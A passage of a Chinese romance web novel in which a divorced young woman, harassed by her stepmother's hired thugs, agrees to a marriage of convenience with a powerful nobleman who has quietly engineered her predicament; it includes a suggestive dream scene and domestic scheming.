沈景湛向她求娶,的确是知道了她的处境艰难,可也清楚她的性子,知道她避讳,恐怕走投无路都不会去找他帮忙。 两人身份有别。 思及此,祝吟鸾越发觉得沈景湛是个正人君子。 分明是帮她,却还说他的不情之请。 “小姐,天色不早了,您快歇息吧。”姣惠没有再提这件事情。 因为点到为止,若是接着往下说,祝吟鸾说不定会起疑,届时就不好办了。 这一夜,祝吟鸾没怎么睡着,诡异的是,她又开始做梦了,还是那个旖丽的梦境。 梦中她和一个陌生的男人,翻云覆雨,行周公之礼。 这只是个梦而已,她竟有极致的感同身受。 整个人都被他给揽抱了过来。 是蓦然映透的春色。 猝不及防的,她低声哭泣,他吻去她眼角的泪。 男人捏着她的腰身,伏在她的身侧。 他说她的腰肢好软,究竟是怎么生的,竟如此之软。 还说位于,他掌中之物的,过于傲人。 竟然大过了他的手掌,问她往日里吃的什么? 她被他说得面红耳赤,让他不要再说 了。 男人吻了吻她,却还是在说,这场春雨还在连绵不断地落下。 祝吟鸾有些许羞恼了,脸红哭得眼尾湿湿的她拔高了声音,说她不要听! 男人回以她一阵低笑。 这阵磁沉的低笑传入她的耳朵里,泛起酥麻痒意之时,她整个人都有些许招架不住。 也正是在这一瞬间,祝吟鸾被他吻醒,瞬间睁开眼睛,她起身呼吸,许是因为梦境太过于真实了,身上竟也觉得不适起来。 那酸累和胀痛仿佛穿过梦境泛到她的骨子里。 这都不是重要的,重要的是梦中男人.伏在她耳畔低笑的声音…… 和沈景湛与他笑时的声音好像啊。 简直就是一模一样。 外头轰地一声,祝吟鸾往外看去,打雷了,雷声之后大雨倾盆而至。 她听到外面的动静,忍不住往外看去,是明芽和姣惠,两人在收拾花盏,关门拢窗。 祝吟鸾定了会神,继续躺下。 她是今日见到了沈景湛,听他说了求娶的事情,所以才……做了这样的梦吗? 不对,她一直在做这样的梦。 那时候梦里的人还只是一个模糊的影子,可现如今竟然让她觉得是沈景湛…… 她平复着心绪,一句话都不敢说。 心里乱糟糟想着。 就算是答应了沈景湛的求娶,也只是利益姻缘而已,怎么可能会行房事呢? 更何况,沈景湛都说了,他想要帮她,求娶她,是因为她不惦记中意她,而今她怎么能做这样的梦?还把梦里的男人当成沈景湛,这对他不是一种亵渎吗? 越是往里回想,祝吟鸾越是觉得愧疚不安。 毕竟在她的心里,沈景湛清润如玉,无害温柔,宛若神台君子。 她这个梦实在是太不好了。 祝吟鸾迅速将她自己的梦境抛却脑后,再也不敢继续回想了。 “……” 这场雨来得急,接连下了四五日。 在这四五日里,京城一点都不太平,有司衙门被御史台弹劾,原先的邢大人贪污受贿被革职查办,没想到,人入了大理寺,牵扯出不少的冤案,还有一些竟然是朝廷之前的案子。 旧案重启十分麻烦,但圣上下了旨意,势必要查个清楚,又恰逢殿试在即,官员变动,朝野之上人心惶惶,就怕被揪了小辫子。 或许就是因为这桩事情,祝吟鸾过了一段时日的安生日子。 铺子里管事的人都被更换了,她怕有遗漏,亲自过去查账,考察铺子里的人是否可用,安生之下却也忙碌。 朱夫人的到来猝不及防,在祝吟鸾查了第四间铺子之后,她不知道从哪里得知了她在雅音小筑,带着人过来了。 祝吟鸾一看到她,心头就浮起不好的预感。 事实证明,她的预感没有错。 因为朱夫人来者不善,她到这里来没有别的事情,是要收回祝吟鸾的铺子,还问她要出嫁时给她添的嫁妆。 朱夫人边看雅音小筑边道,“那日你走得匆忙,下人找不到你,如今摸到了你的住处,我便来了,你既已与家中断绝往来,不认你父亲与我这个嫡母,那我们给你的东西自然要收回来了。” “你手上的六间铺面都是我给你的陪嫁,还有你父亲给的一处庄子,三亩良田,并着那些置办的珠钗首饰,衣衫罗裙,你都要还来。” “珠钗首饰应当没损坏吧?衣衫罗裙你既然都穿过了,就折成现银给我们。” “除此之外,往年你在家中的吃住也得有个数目,这些年铺子的营生花销你都用了多少,心里总该清楚吧?” 祝吟鸾越听脸色越白,她攥紧手,看着朱夫人高高在上的神色。 没有父亲在,她这个嫡母怎么都装不下去了吧? 她猜得没错,忤逆了家中的意愿,被卫家休弃扫地出门,她们竟还不打算放过她,就是要把她往死路上逼,逼得她下跪认错,最好是磕得额头血肉模糊。 朱夫人打量完了院子,露出满意贪恋的神色,转过头冷笑看着祝吟鸾,取笑她苍白稚嫩的脸色。 丝毫没有人情味般道,“等你折算恐怕要耗上不知多少时日,我和你父亲已经叫家里的账房先生罗列出了账目,你自己看吧。” 账本厚厚一沓,硬塞到她的手里。 祝吟鸾打开一看,这完全就是黑账。 上面不仅收走她所有的东西,甚至还让她身负重债。 这是要让她一无所有,在外漂荡之时,还要给祝家赚送银钱。 多年养育之恩?她吃多少用多少了呢?竟然就到了上万两? 嫡母和父亲给她的陪嫁基本入不敷出,徒占一个好地段,她接手的时候,有些铺子还负债呢。 尤其是父亲给她的庄子,那里是给女儿嫁妆,分明就是甩手烂摊子,那个庄子她倒赔了不少银钱,如今才渐渐好转,现在想着要拿回去了? 就连罗裙首饰都要拿回去,这些年,她想方设法周转铺子起来以后,嫡母又从她手里拿回去多少了呢? 但凡年节,她孝顺父亲的数目怎么不提?不止如此,哥哥长姐都会问她要,两人分明是不缺的,却总是喜欢从她的手上扣东西,这些怎么不计较了? 她所花的东西,多数在卫家,这门姻缘她想要吗?是为了周全家里的面子,到头来也是给长姐织就了“嫁衣”。 想到这些,祝吟鸾忍不住冷笑,“嫡母是要把我往绝路上逼吗?” “什么叫把你往绝路上逼,这都是你自己自寻死路,好好的日子不过,非要闹幺蛾子,如今你翅膀不是硬了吗?怎么?凭你自己过不下去?” “离开卫家的时候,怎么跟你父亲姐姐说话的?” 朱夫人嗤笑,“当初给你机会你不要,如今你就算是要回头,也是不可能了。” “你这院子不错,虽然不干净,但还能抵一些银钱,把地契给我,我许你折押进去。” 朱夫人的手伸得理所当然,祝吟鸾看了她一会,咬紧牙关,深呼一口气,闭眼又睁之时,她改了对朱夫人的称谓,没有再叫她嫡母。 “这本账目我不认。”她直接丢到了朱夫人身侧的丫鬟手里。 “夫人要收嫁妆铺子,还要跟我陈列之前的花销,那就走官府,咱们去打官司,若是衙门判定,我一应赔了,该给祝家的银钱一分都不会少!” 她的声音虽然柔软,但音量不减,脱口而出之时,也算是掷地有声了。 朱夫人没想到她居然立起来了,当下便痛斥她,“祝吟鸾!你敢这么跟我说话?!别忘了是谁养你十多年,若我不宽厚,你能活到今日吗?” 她却不搭理,侧过身冷着小脸,让姣惠送客。 朱夫人带来的丫鬟挺多,但姣惠身上有些功夫,对方势弱,很快就被赶了出去。但朱夫人气急败坏,明芽关上门的时候还听到她在嚷嚷,说一定会再来,不会让她的日子好过。 人被赶走之后,祝吟鸾憋着一股气,捏着眉心瘫坐在圈椅之上。 她强忍着眼泪,鼻尖泛酸,憋着眼尾通红,但好歹没哭。 “……” 祝吟鸾没想到,朱夫人说到做到,后几日又来了。 她虽然没有亲自来,但派了很多泼皮无赖到这边嚷嚷,让她还钱,败坏她的名声,说她生不出孩子被休弃,如今又捏着家里的银钱挥霍,住这么好的地段当真是个享福的,问她怎么在这里有了宅子,莫不是做了什么见不得人的事情。 这些人字里行间都不提祝家,但就是胡乱指着宅子乱骂。 一两日的功夫,祝吟鸾都如坐针毡了。 虽然有巡逻的官兵帮忙驱赶,但不可能时时在这边守着。 她出门报官,递给有司衙门的状纸倒是交进去了,但因为这些时日有司衙门不太平,堆积的案子太多了,非人命案,她这种家宅纠纷,根本排不到前面被处理。 来的混混泼皮越来越多,每个时段都有。 不仅仅是去雅音小筑外面闹,甚至还到铺子里面找事情。 就因为这样,她的铺子日益惨淡,完完全全被削减了。 祝吟鸾夜里睡不着,不知该怎么办。 她虽然脱离卫家,也据理抗争,可她实在太弱了,根本起不到震慑,只能被人虚耗,也不知道能撑到什么时候。 夜深人静之时,她想到沈景湛跟她说的话。 忍不住在想,真的要去找他吗? 若是她嫁了沈景湛,嫡母父亲,包括卫家,谁还敢随意欺辱她? 可…… 可什么?她不知道,心里又乱又累又疲惫。 脑子里想到那日沈景湛跟她说的话,念头钻出来以后,她开始动摇了。 真的要这样做吗? 思来想去,她竟睡着了。 这一次,她做了噩梦。 梦到她被那些混混逼得走投无路,手上的铺子和她所有拼来的东西全都被祝家卫家卷走了,明芽和姣惠也被发卖。 她救不了她们,也救不了自己,流落街头之际,夜里被人欺辱,抗拒之时,那凶神恶煞的泼皮无赖捏着她的脖颈,扇了她一巴掌,呵斥她不许叫! 窒息的感觉传来,她尖叫着惊醒。 瞬间坐起抱着头大声呼叫,明芽进来问她怎么了? 见到祝吟鸾满头大汗,眼睛瞪得很圆,双手摸着脖颈儿,一看就是梦魇了,明芽连忙放下手里灯盏,坐到床榻边沿给她拍着后背。 许久,祝吟鸾才平复心绪,她让明芽去拧帕子过来擦脸。 没一会姣惠也出现了。 等祝吟鸾看起来像是没事了,明芽出去倒水,熬安神茶。 姣惠给她掩着被角,哄她别怕快快歇息,她守在旁边 祝吟鸾却忽而攥住她的手,咬唇问了她一句,“你能……暗中找找沈世子吗?” 第30章 第30章答应他的求娶。 姣惠掩下眸中深意,只展露出意外和疑问,“小姐要找沈世子……是因为想通先前的事情了吗?” “您决定……?”答应沈世子的求娶了? 怕她只是被吓到,并没有彻底下定决心,姣惠的话没有说完,但她的意思已经传达得十分准确了。 祝吟鸾也不知道她是不是气血上头,总之她被梦境吓得太狠了,此刻的气息还是弱弱的,她感觉自己的精神状态并不好。 这些时日她可以说饱受折磨,休息不好本就现如今那些泼皮无赖还在外面不肯走呢,这样的时日不知要过到几时。 虽然她已为人妇四年多,可到底年轻,如今也不过是碧玉年华。 即便梦醒抽身,现在已经冷静下来,可她依然心有余悸,身子骨都泛着冷意,有种劫后余生的诡异感觉。 除此之外,她都不知道她自己还能够有什么办法将这些人赶走?要说给钱,那些人根本不稀得她手上的银钱,何况她给不了太多。 官府都没办法彻底管这件事情,还有谁能够帮她? 有司衙门的案子不知道要堆到什么时候,邢大人去后,有司衙门的代监管大人根本腾不出手来理这边的案子,就算是料理的心思,也不知何时能够料理到她这边,恐怕她的铺子都撑不住。 思及此,她长叹一声。 短短几日而已,人生还真是大起大落,前不久她才将铺子里的人给换掉,瞧着铺子的事情解决了,说不定就能这么安生的过下去,她还憧憬着未来。 可谁知道,才几日而已就要被人收回去。 若只是要铺子倒也无可厚非,还也就还了,可祝家给她罗列的上万两烂账,她凭什么要认?要给? 她压根就没有欠那么多的银钱,为何要白背锅。 何况这些年她给祝家卫家的多如牛毛,花在自身的银钱少之又少。 她不觉得自己欠祝、卫两家什么东西。 “小姐,您若是果真想好了,奴婢定然帮您找沈世子,只是……” “只是什么?”祝吟鸾听出变故的声音,刚刚想问,不料明芽端着安神的茶水进来了。 两人默契不再说话,明芽也没有察觉出异常,只跟祝吟鸾说她在茶水里面放了什么东西,吃了好安睡。 祝吟鸾吃了之后,笑着说她没事了,让明芽快去歇息吧,“姣惠在这里守着就好。” “奴婢不放心小姐。”她说祝吟鸾脸色很差。 “你这些时日总熬不住,还是歇了吧,我吃了安神茶,一会就能入眠。” 又接连说了好几,明芽才被她劝走。 她接着问姣惠,“你刚才说什么只是?” “只是奴婢也不一定能够找到沈世子。”谁知道姑娘是不是诈她的话,保险起见,还是要迂回婉转一些,若是被她给起疑问,那真真是不好办了,还会坏了大人的事情。 “找不到?”祝吟鸾惊诧。 姣惠观察着她的反应,料想她应该没有察觉到什么异常。 便点头说是,“世子爷在御前办事,他监管好几处官务,忙得不可开交,往日要是见他恐怕很难。” 祝吟鸾一愣,是啊,她怎么把这件事情给忘记了? 卫如琢的官职比沈景湛低那么多,他都整日忙得不着家,何况是沈景湛呢? 想来是之前总遇到沈景湛,让她错以为见沈景湛很容易,实际上,见他很难。 沈景湛岂是别人想见就能见到的? 姣惠虽然在京城当中有些野路子,可到底是市井中人。 想要见世家公子,二三品大臣,简直难如登天。 如今……是她太想当然了。 祝吟鸾一时没有说话,她在想沈景湛会不会已经挑选了别的人? 毕竟距离他向她求娶达成合作,已经过去了一些时日,他被家中人催得迫在眉睫,不可能没有别的打算。 她刚要问姣惠沈家的事情,没有想到姣惠竟然先一步说了。 “沈家人催得厉害,沈世子也颇为头疼,听说沈侯爷都上场了,为了婚事闹得不可开交呢,沈老太太又病了,太医说她是心病,这病因便是沈世子……还说沈世子不娶亲就不会好,吃多少灵丹妙药都无济于事。” 所以,他跟她一样被逼得迫在眉睫了吗? “不过小姐放心,奴婢就算是粉身碎骨,也会帮您找到沈世子。” 话是这么说,祝吟鸾却没有多大的把握了。 良久之后,才轻叹一声,“…好。” 到这一步,只能听天由命了。 话是这么说,已经过去三日了还杳无音讯,祝吟鸾的心渐渐沉下去。 这些泼皮无赖越发变本加厉,无法进入雅音小筑,不止是在外面辱骂,还往里面丢石头臭鸡蛋,扔小蛇蜘蛛。 祝吟鸾虽然坚强,可到底是个弱不禁风的姑娘家,见到那些蜘蛛小蛇钻进来,被姣惠给挑出去的时候还是忍不住打了寒颤。 她的铺子也被无赖搅局,被迫关停了一间。 这些人伪装上门的客人,买了东西又托赖,说是东西不好,闹得不得安生,叫人围观。 祝吟鸾找官府的人,可那边能帮一时也不能帮随时,叫多了还会不耐烦,祝吟鸾银钱给了不少,可显然祝家的人也贿赂了不少,官兵到后面竟然不理会她了。 她的日子越来越难过,想要搬走都不好出去。 “……” 消息传入祝家的时候,卫如琢和庞氏也在这边。 朱夫人冷笑,“小细胳膊还想拧过大腿,她着实太嫩了一些。” 听到昔日风光的庶出妹妹过得日渐潦倒,祝沉檀的心里就一阵爽快。 叫她更爽的是,两家的人已经在商量她和卫如琢的婚期了。 有司衙门出事以后,倒是挡了不少她先前与骆家和离的事情。 至于祝吟鸾更是掀不起什么风声了。 她往日就不抛头露面,如今又搬得远了,卫家放话说她因为生不出孩子,又吃错了药日渐病重,如今送到了庄子去养病,而她与卫如琢重修旧缘,正谈婚论嫁。 虽然有人唏嘘,议论纷纷,但说到底都是嫉妒而已。 看啊,就算是错嫁了人,她不还是得了善果,再 次高嫁,卫如琢如此晋升,将来她说不定还能得个诰命夫人!那真是无上的荣光,骆家的还敢小瞧议论她吗? 心里这么想,祝沉檀嘴上却说,“妹妹不懂事,母亲可不要太为难她了,到底是我们祝家的人,若她不听母亲的,就让女儿去劝劝吧?” “去什么去?沉檀你就是太心善了,祝吟鸾既然不识抬举,那就让她自生自灭!当日她敢甩脸子,今儿就该好好坐坐冷板凳!别理她。”庞氏接了话,叫她不要去,也别管。 祝沉檀面露为难之色,“夫人既然这么说,沉檀不得不听从。” 她目光扫过一旁的卫如琢,对方也不知道在想什么,神色看着爽快,却有些纠结。 她凑过去问他是不是茶水不合胃口?这是他从前最喜欢的,配茶的果子是她亲自挑选的,让人送上来的。 卫如琢说很好,“你费心了。” 话是这么说,他却没怎么吃没怎么喝。 茶果的确不错,可过了这四五年,他的口味早就变了。 红茶浓郁,他如今更喜欢清雅的檀茶,就算是要喝红茶,也需要多过几道热水,泡茶要用正午的井水,还要过滤薄荷叶,去去炎热之气,如此才好,配茶的果子也不喜欢蜜橘了,他更爱香橙多一些。 可祝沉檀已经不知道了,她不仅不知道,甚至没留意到他没吃多少,若是祝吟鸾……她必然能够察觉到他的口味变化,不仅仅是因为她一贯细心,更因为她满心满眼都是他这个夫君,对他十分上心。 思及此,卫如琢在想,祝沉檀对他的爱是真的吗? 转念又觉得,他在怀疑什么呢?祝沉檀跟他多年之情,峰过四五都不辗转,定然是真的。 至于祝吟鸾,那个狠心的女人,他想她做什么? 母亲说得对,她不识抬举,是应该好好教训,看她还敢不敢漠视不理他! 可他又觉得这样逼迫会不会太狠了? 不,若不狠,也不能叫她悔悟,放着好日子不过,非要出去外面吃苦。 多多叫她受着一些,过不了一些时日,她定然能够哭着回头。 对于祝吟鸾会哭着悔悟回来求饶的这一点,他始终坚信不移。 “……” 未免夜长梦多,祝家催着商榷婚事,已经走了不少婚宴流程。 这边紧锣密鼓过得快,那边却也不含糊,祝吟鸾一夜未眠。 她翻来覆去听着外面时不时的骚.扰嚷嚷声,在想要不要豁出去,干脆同归于尽。 可她命值钱,为了一些铺子和银钱,实在不值当。 就算没有人疼,也要活着,活下去,她不想死。 沈景湛那边没有消息,只靠姣惠真的可以吗? 要不然去上次的医馆碰碰运气? 毕竟在那个地方碰见他两次了,这些时日沈老太太病重,他似乎在那地方抓药,即便碰不到,或许也可以让郎中留个信。 她心里做此想着,姣惠却忽而带来了消息。 “沈世子约姑娘明日在除病斋见面。” 除病斋?恰是她要去碰运气寻他的医馆。【你现在阅读的是 】 30-40 第31章 第31章谈婚论嫁。 倒是与她的想法不谋而合了,“……” 姣惠解释说,之所以找不到沈景湛,因为他前些时日往豫州走了一趟,是办朝廷的事情,也是为了躲个清净。 找到沈景湛,得了他的回信,祝吟鸾心中大石头落地,人稍安。 却也没有办法彻底放下心来,她还是没有多少睡意,更何况外面的那些人还在时不时叫嚷。 她很清楚,沈家这棵大树不是好攀附的,即便沈景湛求娶的那一日跟她承诺了许多,几乎样样周到,她也不能完全依附于沈景湛,他为人虽不错,可她对他知之甚少…… 沈家是京城数一数二的高门,里面的人只怕难缠,不好对付,以后的日子唯恐举步维艰,她要谨而慎之,若是行差踏错,日子一定会比在卫家更难过,毕竟高门世家水很深。 话是这么说,不免担忧和害怕,但她既然已经下定了决心,就不能畏惧。 忍不住给自己打气,左不过一个死,可她现在还不想死,她还是太弱了,没有任何的母族托底,仅凭她自己根本没有办法和祝、卫两家抗衡,只能一直被欺负。 与其在这里被祝、卫两家的人折磨算计,郁郁而终,不如豁出去,借沈家的势力冲上去,将来若真不好,那也罢了,毕竟是她自己选的路。 思及此,祝吟鸾的心思稍微定了定。 她听了一整晚的嚷嚷声,几乎没睡。 翌日,让明芽去正门吸引注意,她带着姣惠偷偷走角门遛了出去。 直到上了马车,祝吟鸾还是心有余悸,生怕这些泼皮无赖追过来,扰了她今日的计划,幸而对方没有发觉。 这些人日日在这边蹲守,搅乱她的日子,她真怕梦里的一切都会变成现实。 过去的路上她在思忖怎么跟沈景湛说呢? 不承想,到了那边的街巷并不入医馆,沈景湛的随从请两人换了马车,带着她绕去了京城隐藏很深的私宅膳楼,她从未来过这样的地方。 下了马车往里面走,祝吟鸾四处扫了一眼。 这虽然是用膳的地方,装潢却好,少见的雅致静谧,木楼梯转角摆的都是名贵金樽,只怕光有银钱没身家的人都进不来。 姣惠只能在一层跟随从等候,祝吟鸾由掌柜的亲自引上了顶楼的雅座,对方恭敬无比,弯腰推门请她进去。 方才抬脚迈步,祝吟鸾便已经隔着屏风,隐约窥见了一个模模糊糊的落拓身影。 听到动静,沈景湛起身来迎。 他绕过屏风,祝吟款见他今日穿了一袭松青色圆领锦袍,束白玉冠,身量高大,宽肩窄腰,走过来时,坠在腰间的玉佩随之浮动。 通身贵气清雅,偏他还生得俊逸,他的眼神投过来,祝吟鸾下意识躲避视线,不敢多看,更不敢与他对视,总觉得他的眸子太深沉了。 许久不曾见面,这也算是两人头次实打实的约定了单独见面,她自然免不了害怕。 她在观察沈景湛的时候,对面的人何尝没有在瞧她。 今日她着一身鹅黄襦裙,外.罩淡蓝披帛,一头乌发半挽半放,看起来尤为娇俏,只是……人瘦了不少,想来这些时日也没休息好,垂下的浓密睫毛都已经掩盖不住她眼底的乌青了,他借着光影看得很清楚。 她先前一直要避讳,如今倒是愿意让人瞧了,虽然还是在躲避,还是低着头,模样比之前还要更怯几分,可到底没那么抗拒抵触他。 沈景湛很清楚她的转变到底是因为什么,心下也知道了她思忖几日的答案。 祝家那边施压,他不曾出手,放任事态发展,所以她被祝、卫两家逼到他这边来了。 这世上少有东西能够脱离他的掌控,一切都在意料当中。 “祝小姐里面请。”他温声笑着带她入内落座。 祝吟鸾福身轻嗯一声,抿唇跟在他的身后,原是并排走的,可她害怕,下意识落了一乘。 留意到她的反应,沈景湛也只当没有看见。 祝吟鸾落坐在他的身侧,还是没有想好要怎么开口。 沈景湛察觉到她的欲言又止,并没有让她尴尬,他率先跟她解释了一遍前些时日去做了什么,为何她会找不到他,尽管他的随从已经说过一遍,祝吟鸾也早就知道。 “嗯。”祝吟鸾点头,轻声慢语,“世子爷……公事繁忙,我都清楚。” 他轻笑一声,让她先点饭菜小食,吃着慢慢聊细则。 祝吟鸾没点,只说她都可以吃,让他做主就是。 但沈景湛没有直接叫外面掌柜的进来点菜,而是挑了话头,跟她说了一遍这里 有些什么招牌菜色,味道是怎样的,善诱她斟酌选选。 男人关怀备至,既然要达成利益合作,祝吟鸾自然没有拂却他的面子,尽管心里还是很紧张害怕,却也还是顺着他的话茬答腔点了两道菜,剩下的她不说了,只由沈景湛做主。 等菜的间隙,沈景湛问她这些时日在做什么? 祝吟鸾没提令她焦头烂额的事情,只说在家中做了些女红,顺便查看铺子的账目,没怎么出门,她说话时,他都专注一一听着。 膳房手脚快,两人没讲几句,便上了菜,沈景湛照拂着让她用膳。 许是男人嗓音温和好听,这边菜色又好,祝吟鸾原本没有胃口,却出乎意料的一口一口吃掉不少。 饭菜味道很不错,味蕾的愉悦很大程度缓和了她的紧张以及害怕,虽然没有彻底消除,好歹是被冲散了大半。 等用膳结束,她僵硬的身子都软了下来。 见她放松,沈景湛才开始提求娶的事情。 他问她是真的想好了吗? 祝吟鸾原本低着头,捏着帕子擦拭嘴角,听他这样问,抬眼看过去,对着他的眸子,郑重其事点头,“嗯,我想好了。” 男人眼前所见是姑娘柔软白嫩,却又过分认真的小脸,她的神色其实十分严肃,可落到他眼里,他却只觉得可爱。 论起语气,她谈说这件事情,不像是在说她嫁人,更像是认真在与他谈论公事。 她说话的语气倒也没有错,毕竟一开始两人之间便是这般谈的。 所以,她不把这件事情当成姻缘,当成交易,严肃一些也正常。 来日方长,这才开始。 他有的是耐心,倒也不急。 男人端起茶盏呷了一口,掩下不为人知的心绪。 祝吟鸾不知道男人心中所想,只见他温润如玉的面庞上挂着柔和的笑,到底心安了一些。 沈景湛看起来很好相与,有他在,或许她嫁入沈家后也不至于太难过,况且他也说了他在家中有威严,会护着她,再者还有那罢官削爵的事情呢…… 纵然不为人品,仅凭这些,她也该信的,但凡男子谁不看重自己的前程仕途,他既拿此来做赌注,也足够表明他的诚意。 思及此,祝吟鸾道,“世子爷既许诺我此生不纳妾收房,我也定然恪守妻子本分,认真做世子爷想要的满意的正妻。” 绝不其中意惦记他,免得扰了他。 他道,“我自然相信祝小姐的为人,你不必拿什么与我做赌。” 祝吟鸾的确在思忖,她有什么能够拿得出手的? 没等她想明白,沈景湛便截了她的话,叫她少了烦恼。 只是…… 她总觉得不太好。 “既已谈婚论嫁,那祝小姐便唤我的表字吧,也显得亲切些。” 她看过去,用一双盈盈水眸无声询问他的表字是什么? :. 他淡笑告知,“我表字听澜。” 听澜…… 祝吟鸾在心中默念,不知是不是她的错觉,总觉得在什么地方听过这个表字,她竟没有陌生的感觉,反而察觉到熟悉。 熟悉?她抛开脑中荒谬想法,怎么会觉得熟悉? “你唤我听澜一声可好?”男人声音带着商量和不易察觉的微哄。 祝吟鸾抿唇轻咬唇瓣,轻声吐露听澜二字,她声音轻柔绵软,听起来不叫人觉得她生疏和害怕,反而更像撒娇。 男人闻言,指腹忍不住摩挲了两下,祝吟鸾并没有看到。 “你既唤我表字,那我日后称你为鸾儿可好?” 还从未有人这般亲密叫过他。 便是嫁到卫家的那四年,跟卫如琢再怎么好,他都只叫她吟鸾,后面更是连名带姓,总之没这样亲昵唤她鸾儿。 沈景湛声音本就温柔,如今压得低沉更显磁性,钻到她耳朵里,有些莫名的痒,这痒窜到她的脸肉里,就连面子皮都微红了。 “……嗯。”过了好一会,她才点头。 相对静默一瞬,沈景湛拿出提前书写好的若纳妾便罢官削爵的文书与她看,问她可觉得妥当?是否欠缺什么要添补? 他竟已准备了?祝吟鸾低头看男人宛若磅礴游龙的笔迹,落在宣纸之上的一字一句,重要的是宣纸的右下方竟已落了玉玺红印。 有这盖印,那便意味着他已经将此物呈到御前过了?皇帝不仅过了目,甚至还在上面盖了玺印。 她不免心惊讶,试探问,“这样会不会不太好?” 若是被沈家人知道,她定然…… “没什么不好,我既应了鸾儿,自该说到做到。” 鸾儿……他唤得好是顺口…… 男人把宣纸折起来递给她,说既无添加,让她务必收好,收纳之处,莫叫他知道。 祝吟鸾只觉得薄薄的一封信笺,有千万斤重,小心得不能再小心,生怕折坏了边角。 待她收起来后,沈景湛又跟她道,“你既已与祝家决裂,那成亲一事……” 他的意思祝吟鸾明白。 他向她求娶,按照成亲流程,得过双方亲眷的眼。 她如今“无父无母”,恐怕难以办事。 但回祝家?她绝对不要! 何况,在亲事没成之前,她不想祝家的人知晓,坏了她的这门“好亲事”。 若父亲嫡母和长姐得知她嫁了京城第一公子,御前掌中书令,监管御史台的大人,真不知会做何感想…… 眼前姑娘黛眉舒展片刻又渐渐拢起,她在斟酌着回话。 沈景湛却在她前面道,“我为你寻一家妥帖谦和的高门大户认作义父义母。” “你挂个名,从那边出嫁至沈家到我身边来,可好?” 第32章 第32章“定情信物。” 他做事情怎能够如此周到细致?竟然要给她寻高门依靠庇护? “如此是好……可我如今被卫家休弃,会不会……”没有高门世家愿意收她这个义女? “鸾儿的顾虑我都明白。”他对她笑了一下,还把掌柜新端来的糕点递到她的面前来,微微颔首示意她吃,“交给我,鸾儿且放心就是了。” 看着男子无比惑人的隽秀面庞,祝吟鸾不由入神,她顿下来想了想。 她的身家的确不好,又被卫家休弃过,但这都不重要,重要的是她即将嫁给沈景湛,有她在中间联结,收她为义女的高门世家,不也同样“攀”上了沈家么? 这件事情有利有弊,且利大于弊,收一个声名不大好的义女,得一个权倾朝野的女婿,恐怕多得是人抢着要。 思及此,她也不忧虑添麻烦的事情了。 只是……他怎么叫她闺名,一口一个鸾儿,真是叫得好顺口…… 一说换称谓,他启唇便是鸾儿了,倒叫她不自在起来,可又不能纠正,只能端起面前茶盏呷了几口,掩饰她的淡淡尴尬与不自在。 “……” 沈景湛知她尴尬,陪她一道吃茶,垂下长睫掩盖眸中笑意,祝吟鸾并不得见。 两人没坐多久,商榷之后便从私宅膳楼离开。 祝吟鸾原本不想要他送,想着怕被人看见,可沈景湛顶着这样出众绝尘的脸和身段,这家私宅膳楼的人哪里不知道他是谁?对方都唤他世子爷了。 所以她就算是再想欲盖弥彰,只怕也是费尽心思的掩耳盗铃而已,便没多话,让沈景湛送了她回去。 这一路上,在马车里。 两人相对而坐,祝吟鸾都不敢抬头,她始终垂着眼。 马车宽敞,还燃了熏香,可男人身上清冽淡雅的气息渐渐传来,将她包裹,分明舒坦,可不知是不是她心绪当中的紧张未曾消散的缘由,竟觉得莫名危险,至于哪里危险,她又说不上来。 沈景湛会时不时跟她说几句话,譬如方才的菜式合不合口味,她都一一应了,毕竟很好回答。 快到雅音小筑之时,她担心外面的泼皮无赖还在纠缠,斟酌着要怎么跟他开口,毕竟这是家里的烂账。 尽管沈景湛知道她和祝家闹得不可 开交,可真要她细细与他讲嫡母是怎么折磨她的这些手段,她还是说不出来,她也不知道自己在端着什么,一时之间竟无法坦然。 分明都清楚两人之间本就是“利益结合的姻缘”,他当初也说了他会帮她处理家里的事情,可她都不知道自己为何张不开口。 许是因为他的行为太周到细致,亦或他的容色太绝艳,跟他提家长里短,乱七八糟,总感觉糟污了他一般,况且他总一声一声叫鸾儿,嗓声过分低沉悦耳。 但又快到雅音小筑了。 祝吟鸾抿唇心下一横,决定还是提前开口,反正迟早要面对,总比一会他听到乱糟糟的声音再解释比较好。 不料沈景湛竟在她前面开口,“雅音小筑外面的人我已经叫官府去处置了,日后鸾儿不必担心,他们不会再出现。” 他修长如玉的手指执着书卷,看着她淡笑开口。 “你……”她总觉得要说点什么,思绪一转,“你直接出手会不会被祝家的人知道。” “不会。”他让她安心。 虽没解释,但他都这么说了,祝吟鸾很放心。 一时之间她又不知说什么了。 没一会就到了雅音小筑。 下马车之时,明明已经姣惠都搬了矮凳,他却朝她伸出了手。 祝吟鸾看着男人宽大白净,骨节分明的手掌。 在犹豫。 可他也不催促,还在等。 良久之后,她搭上去了。 他的掌心温热,攥包住她的手背之时,她感觉被烫了一下,心跳得莫名快。 “……” 沈景湛实在太勾人了。 她窥视一眼,见他神色毫无变化,一如既往的温润清和,祝吟鸾连忙按下心中思绪。 她当真是太久没跟人亲近了,尤其是男人。 卫如琢的碰触叫她恶心,沈景湛的靠近令她慌张。 好在,下了马车他很快就松开了她的手,一副君子作派,越发让祝吟鸾觉得她心中想法过于狭隘。 许是见她面色红润,不自然得厉害。 沈景湛轻声解释道,“过些时日后我便要迎娶祝小姐为妻,这些细节之事总要注意,你我难免接触,还请祝小姐莫要见怪抗拒。” 他又改了称谓,没叫鸾儿,直称她祝小姐。 祝吟鸾越发觉得难堪,对方称她鸾儿,想来是要快速适应,也带着她入戏,免得到了沈家露馅,她在想什么呢? 思及此,她立马甩开脑中乱七八糟的想法。 “我都明白,不会见怪,也不会抗拒。”更不会胡思乱想了。 沈景湛的皮相品性都太吸引人,可不是她的良人,她不应该心猿意马,须得知道,她只是他的“盟友”,他信任她,也曾说了选她的缘由是因为她不中意他,绝不能辜负他的信任。 “嗯。”男人意味深长看着她的小脸低声一句。 姣惠和随从在侧,自然能够听到两人在说些什么。 不免觉得大人似乎搬起石头砸了自己的脚。 他解释是怕姑娘因为他的亲近而起疑,可对方似乎被他“吓”回去了。 所以,算不算搞砸了? 事情办妥了,外面的人都被赶走了,祝吟鸾难得静谧安眠。 只是明芽觉得奇怪,祝吟鸾还没坦白,只说她今日又去报官了,想来是官府的人嫌弃她恼怒,索性一劳永逸解决了这件事情,明芽并没有起疑问。 沈家宅院内,沈老太太的“病”又重了,四处灯火通明,今日沈景湛归家,她叫人截了他。 今儿原本是打定主意要逼迫他,必要他说出先前就说好的成亲对象的身份。 毕竟这都快春末了,他却没什么风声,倒是沈夫人一直收整家中,似乎日日盼着沈景湛带人进门。 